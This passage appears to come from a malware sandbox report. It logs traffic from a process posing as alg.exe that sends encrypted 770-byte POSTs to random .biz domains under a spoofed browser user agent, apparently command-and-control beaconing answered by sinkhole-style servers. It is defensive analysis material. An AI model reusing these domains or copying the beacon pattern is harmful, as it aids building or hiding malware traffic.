Oct 28, 2024 16:39:34.235851049 CET	770	OUT	Data Raw: 02 f2 5b 65 a5 3b 2c 2f f6 02 00 00 4d 9c d6 d9 51 64 be 3e 4d d4 29 6d ec 41 74 63 25 29 56 ec 5d 9f 5d 04 bf 58 85 65 90 e1 15 ac 91 f0 f6 26 5e 54 36 29 43 02 c6 44 2c 0f c7 00 b8 24 22 64 7d bd 96 05 35 17 31 5b 67 68 00 a7 8c fd b6 7e 28 98 Data Ascii: [e;,/MQd>M)mAtc%)V]]Xe&^T6)CD,$"d}51[gh~(f4\|?Pix \\|\YtAqh,)Zr6OBc5\|VO,Mq!f"K&P^#RJAybS2JHSA]PULX!XQ9
Oct 28, 2024 16:39:34.402050018 CET	170	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 15:39:34 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49743	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:34.935137987 CET	361	OUT	POST /dkyuslowywlmqnqa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:34.935137987 CET	770	OUT	Data Raw: 43 4a 63 f7 50 fb 08 28 f6 02 00 00 8f ab fc 90 4f e2 9f b2 b6 9f 92 fc 51 f6 d8 e2 c6 a6 22 e9 f1 83 5a 5d 47 4b 64 47 f8 63 14 54 52 6f 6d 5e 5e 53 32 52 cb 20 9a e5 f5 f9 dd c8 bd 43 70 49 02 c2 d1 09 4f da 1b 83 1b 52 59 ca 88 02 88 b2 97 c6 Data Ascii: CJcP(OQ"Z]GKdGcTRom^^S2R CpIORYo=7z&*]1:;uGut~v%dmz$(M"s#Qt"+i:Q`\KFy8${OE:![Z,btm'tr
Oct 28, 2024 16:39:35.764415979 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9cb4714c43f5fe2346df18d3ca4d11d8\|155.94.241.188\|1730129975\|1730129975\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49744	208.100.26.245	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:36.252187967 CET	356	OUT	POST /smymaayghjits HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:36.252221107 CET	770	OUT	Data Raw: 4a 47 a2 51 f2 33 79 3a f6 02 00 00 29 13 79 8b 7b 2f 95 bb 63 5f a1 1e db 2c a2 1f a2 ed 85 1f dd 0a e4 88 9c cb 6e 33 13 b0 3f 63 69 58 2e 2a 7e 98 ec c2 67 47 98 67 01 44 3a 47 c2 67 61 5b c6 ec 03 ba f2 e0 e7 03 d4 68 6c d7 5e 17 cb 05 db eb Data Ascii: JGQ3y:)y{/c_,n3?ciX.*~gGgD:Gga[hl^fPn)xg'DuD;tPAx:rY9&3 x>a^3-<Z.;u?lJ,,,G["lcO]yC5R:`!f!%
Oct 28, 2024 16:39:36.891915083 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:39:36 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:39:37.375463963 CET	344	OUT	POST /n HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:37.375498056 CET	770	OUT	Data Raw: f0 e3 a8 2c 1a 11 5d 94 f6 02 00 00 fa cc 26 93 67 91 99 ef 90 f7 96 cc ca a1 b4 34 db 5e e1 04 05 37 60 00 93 1f 47 44 05 bc 3d 73 8a 98 0d bd 70 e8 7d 55 bb bd 0b 59 04 9f 64 fa 31 6c e4 2f 76 34 c1 39 22 ff dd 10 9a 23 12 62 32 a8 31 a1 08 69 Data Ascii: ,]&g4^7`GD=sp}UYd1l/v49"#b21i";{@YblT={9dt-wL=Yl6zsauD5F5W\& \sJQrOqUz\/&"v7#@
Oct 28, 2024 16:39:37.521717072 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:39:37 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49745	34.211.97.45	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:37.958014965 CET	348	OUT	POST /ctyqtta HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jpskm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:37.958036900 CET	770	OUT	Data Raw: 9b 2d f8 7e ea 9d d3 b1 f6 02 00 00 db 91 e6 f2 39 76 a6 23 d5 7b 62 8e c3 a2 f0 09 ee 26 5e b6 1e bf 52 e9 6e 17 31 f4 a2 52 7d 1c 9d 94 61 32 ab 20 1c 6b 5d d2 38 9a 22 bd 68 ef 54 3a 6f 55 f1 7d 57 e2 e1 3a fb 26 04 6b be 9f 71 1b 55 62 15 e3 Data Ascii: -~9v#{b&^Rn1R}a2 k]8"hT:oU}W:&kqUb/Uj=Gou0HqW}wHp1mLwvk1>[0x?k[NtP0+o[NIUgJe}#}{R(h>`{a %x;Is,Pi<
Oct 28, 2024 16:39:38.799607992 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e35ae1777adcb48fdd0fe7b7d9555647\|155.94.241.188\|1730129978\|1730129978\|0\|1\|0; path=/; domain=.jpskm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49746	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:39.102689981 CET	350	OUT	POST /qxmvdf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:39.102720976 CET	770	OUT	Data Raw: 71 94 b9 4f 70 90 16 86 f6 02 00 00 d0 fc 19 19 47 67 ad 96 2a 88 bd 3f 22 4e 14 24 82 ed 53 d7 99 66 2c d6 e8 00 4e 1c 9e e4 6e c6 c2 e0 66 fd b3 f1 f7 99 08 a6 2f 62 04 c8 a2 27 49 e1 81 38 fb 9d 60 95 f2 ae f3 8e 1c 46 55 7a df ec 6e ef bd f3 Data Ascii: qOpGg?"N$Sf,Nnf/b'I8`FUznI\#t#GF(Z\|&plJ(kz^/rj\$Y&$4\JDH.G_dOpA\HB\|jpwT}DGD\A?"i!$+C,5$_^l
Oct 28, 2024 16:39:39.930499077 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e06a529d9e8d8d6215d281023da0a79f\|155.94.241.188\|1730129979\|1730129979\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49747	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:40.306371927 CET	358	OUT	POST /qreurouxjhhujdt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:40.306408882 CET	770	OUT	Data Raw: 15 18 bc f4 51 da 4d f9 f6 02 00 00 eb 2a 5f 8a 76 c7 89 51 9a 4b 85 2e 46 d1 8d 59 13 a5 02 2b 0a d7 2f c7 f8 54 19 77 ad dd eb 56 d9 b5 8a a2 5e b7 93 b2 d4 0f 27 78 31 61 5e 85 9c bd 44 b2 00 4c 64 5c 46 70 19 62 55 30 bf 15 54 86 cf c5 e8 69 Data Ascii: QM_vQK.FY+/TwV^'x1a^DLd\FpbU0Ti#}R oks9>$~?(T Yt[Nn\@Wy@UX+,;o[id?}4I:"b]h5PZ\|#S=wUW_`P&Dg=~3Ph?
Oct 28, 2024 16:39:41.741118908 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3e8a42a07c603999c4f53e8d9a38a5d6\|155.94.241.188\|1730129981\|1730129981\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49748	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:42.175066948 CET	345	OUT	POST /cmri HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gnqgo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:42.175101042 CET	770	OUT	Data Raw: 48 31 6b cd aa 79 8b c2 f6 02 00 00 80 6b a4 83 c7 df c6 7e e9 7c b9 d4 b4 bd e0 73 c5 75 51 02 c9 d6 f4 05 21 04 2e 6b 7e 57 fd 48 c6 4e 1c 52 b3 fc db b2 1c 31 00 dc 97 0f 02 ed 09 52 7c 2a 94 35 5d e0 5a 7f 3b ae ba 7a ba 0b 74 44 ed 25 06 b2 Data Ascii: H1kyk~\|suQ!.k~WHNR1R\|*5]Z;ztD%mg;$NlRj4Vlc3CasTTgOi>[XB^xPj("+]`Q/ oZmlk?kD&O"=M;E
Oct 28, 2024 16:39:42.852117062 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a926427e178922a6cd5eedc0b053b03a\|155.94.241.188\|1730129982\|1730129982\|0\|1\|0; path=/; domain=.gnqgo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49749	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:43.218343019 CET	353	OUT	POST /lrnoivnqn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jhvzpcfg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:43.218369961 CET	770	OUT	Data Raw: ee e6 73 dd 19 ea 1d 04 f6 02 00 00 49 82 9e b9 29 c9 47 78 00 74 8e 8b 5f 0d 8e 11 b0 ea 9d b1 bd 36 43 92 b5 8e 6b b8 c6 2f a1 9f ea ed 13 83 be a2 d4 fe 04 ea 65 b2 b5 9b 2f 6a 94 38 c2 ce 98 12 7a 37 57 ae ed 70 39 65 ec 2e 05 55 9f 87 51 72 Data Ascii: sI)Gxt_6Ck/e/j8z7Wp9e.UQr3niSCH#4:R-1yfR$cqTi$4Xq<GhT}x]P$Uq-@yHqrmb"!\}+F96n:HiS-0
Oct 28, 2024 16:39:43.890717983 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2d8550c6acb63e062b0d6031ff2ef77d\|155.94.241.188\|1730129983\|1730129983\|0\|1\|0; path=/; domain=.jhvzpcfg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49750	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:44.623941898 CET	351	OUT	POST /auaskog HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:44.623958111 CET	770	OUT	Data Raw: f5 ca af 02 73 8f e0 2e f6 02 00 00 07 cd 73 52 be 34 f3 4d fe 84 03 7e ba 06 4c cc 67 19 34 68 97 db a2 21 7d a7 d8 c6 21 91 75 54 c4 77 7a f0 ca 32 fa 46 68 49 5f 58 29 76 1e 56 fd 44 8f 0e b8 6d 67 51 28 fe 6e 4d 2d 1b ce d0 23 8b 5e b4 bf d1 Data Ascii: s.sR4M~Lg4h!}!uTwz2FhI_X)vVDmgQ(nM-#^w0*jB-QfSO[\`g_&cTL!XQ5V-y4JTFY{l^u!Ba)$sX`r#Y&Bo,W<&wg\8wQ T]"u4{vJ#d
Oct 28, 2024 16:39:46.119194984 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8ea78c80d0f7042a6b98f69c929f9f2e\|155.94.241.188\|1730129985\|1730129985\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49751	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:46.430521965 CET	347	OUT	POST /fowjhr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vyome.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:46.430552006 CET	770	OUT	Data Raw: 5d c2 e3 06 bc 2c 53 ea f6 02 00 00 6e d7 7f f9 51 47 5c c2 01 bc 18 30 4c 8e 24 4a 6b 64 52 11 de 6d ea 3b 69 58 5b 2e 15 cc 45 92 8d 76 f3 ef ba 53 64 b4 49 c2 bf 29 59 a9 f4 2b 94 d5 a3 1e 8c 26 38 fe 4d e0 9a e2 e9 2d fe 4a b9 7f c4 33 80 14 Data Ascii: ],SnQG\0L$JkdRm;iX[.EvSdI)Y+&8M-J3(6[hB8+%>abddY&,bM$B~595f2yz{W{!i:b2s&Y="8( 2y*p-gRAJFpe0
Oct 28, 2024 16:39:47.262650013 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fc846cc50d7e5ea70337e9d777104aea\|155.94.241.188\|1730129987\|1730129987\|0\|1\|0; path=/; domain=.vyome.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49752	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:48.010153055 CET	346	OUT	POST /dq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yauexmxk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:48.010194063 CET	770	OUT	Data Raw: ca 02 1f aa da 82 cb 5d f6 02 00 00 12 e0 a8 0c f9 4c 81 c4 0e 24 aa 44 97 3f 1f a2 e5 2f 29 99 58 4d 80 dc 16 af 29 e1 63 a5 f5 26 d0 4a 33 f7 a7 76 96 23 ef 5b 29 02 3b 08 25 6f e6 71 56 8e 78 a1 a4 ce e6 ed 9f ff c3 0a c3 9b 69 5d e6 f8 57 68 Data Ascii: ]L$D?/)XM)c&J3v#[);%oqVxi]Wh,lA;5";3SpQG7:L&8tnkWb/!u-#=U_\H<:bBQ\|b$aA4'6#suXOD1/k->H;]
Oct 28, 2024 16:39:48.702630997 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3fc34138e5fa0dac6747e6666ab8ac17\|155.94.241.188\|1730129988\|1730129988\|0\|1\|0; path=/; domain=.yauexmxk.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49754	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:49.250874996 CET	352	OUT	POST /mocdalayui HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: iuzpxe.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:49.250910044 CET	770	OUT	Data Raw: 07 de e2 2f 6c b9 70 62 f6 02 00 00 a5 5d 7c b1 2e ec d5 a0 d8 59 93 e6 ba 84 b6 61 91 07 20 fa 89 0f cc 86 86 29 ca c4 c9 e5 b7 92 0c 16 44 f1 79 34 6f 3f cb 12 ab 6c b0 94 ee af b5 32 79 93 05 e3 e6 d1 57 7e 83 9c 96 d7 7a ed 7a ba bf d7 80 61 Data Ascii: /lpb]\|.Ya )Dy4o?l2yW~zza_HD'#&&GMVJUb7c'CR7-hA</"ibvZDNUmg~Y[Fte!f]ifrC?28fELq]h8=_
Oct 28, 2024 16:39:50.703836918 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=15f26b021c41f0c955cd870c3c53fc85\|155.94.241.188\|1730129990\|1730129990\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49765	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:51.102900982 CET	350	OUT	POST /epfkt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sxmiywsfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:51.102936029 CET	770	OUT	Data Raw: d5 66 53 1d bd d7 c8 a4 f6 02 00 00 82 a6 70 80 6f b7 ab 0e 77 67 6f 2c b2 cf 7e e9 09 d9 ec 8c 5d 9d 42 5b 90 5d e4 34 51 0f b7 ed e0 ee c3 3d e7 50 fe c2 06 46 77 19 31 f8 7e f8 a1 0b 26 23 28 47 aa 83 4c ae 7b d3 42 58 ff 6e 0e ea cb 2f 08 bb Data Ascii: fSpowgo,~]B[]4Q=PFw1~&#(GL{BXn/#M0@J9@BMX.(RiA@ }<0G<2Er M!Ta}/fDkj)9-hBq:FoK(uOzPNs)rYu
Oct 28, 2024 16:39:52.545533895 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e02e5505cf6eea7d89fc39bde79991ff\|155.94.241.188\|1730129992\|1730129992\|0\|1\|0; path=/; domain=.sxmiywsfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
